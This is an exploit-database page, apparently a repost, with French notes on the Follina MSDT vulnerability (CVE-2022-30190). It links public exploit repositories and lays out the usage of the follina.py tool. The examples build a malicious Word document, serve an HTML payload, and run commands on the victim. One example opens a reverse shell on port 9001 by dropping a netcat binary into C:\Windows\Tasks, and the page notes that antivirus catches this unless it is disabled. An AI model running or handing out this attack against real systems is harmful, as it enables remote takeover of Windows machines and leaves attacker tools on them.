Sploitus

Exploit for Follina

kitploit · 2026-08-27

Exploit Code

MARKDOWN19 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABHIRULES27-FOLLINA
# Follina

Notes relatives Ă  CVE-2022-30190

FOLLINA : CVE-2022-30190

  1. Utilise l'outil de diagnostic du support Microsoft (MSDT)

  2. Exploite la fenêtre de diagnostic ouverte pour le diagnostic et, lorsqu'il est exécuté correctement, donne un shell inversé à l'attaquant.

  3. Github : (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py

  4. Remerciements Ă  : (a). @_johnhammond (b). @networkchuck

  5. Utilisation follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit \--command COMMAND, -c COMMAND command to run on the target (default: calc) \--output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) \--interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) \--port PORT, -p PORT port to serve the HTTP server (default: 8000)

  6. Exemples (a). Lancer calc.exe : $ python3 follina.py  
[+] copied staging doc /tmp/9mcvbrwo [+] created maldoc ./follina.doc [+] serving html payload on :8000 (b). Lancer notepad.exe : $ python3 follina.py -c "notepad" (c). Obtenir un shell inversé sur le port 9001. Notez que cela télécharge un binaire netcat sur la victime et le place dans C:\Windows\Tasks. Il ne nettoie pas le binaire. Cela déclenchera les détections antivirus sauf si l'antivirus est désactivé. $ python3 follina.py -r 9001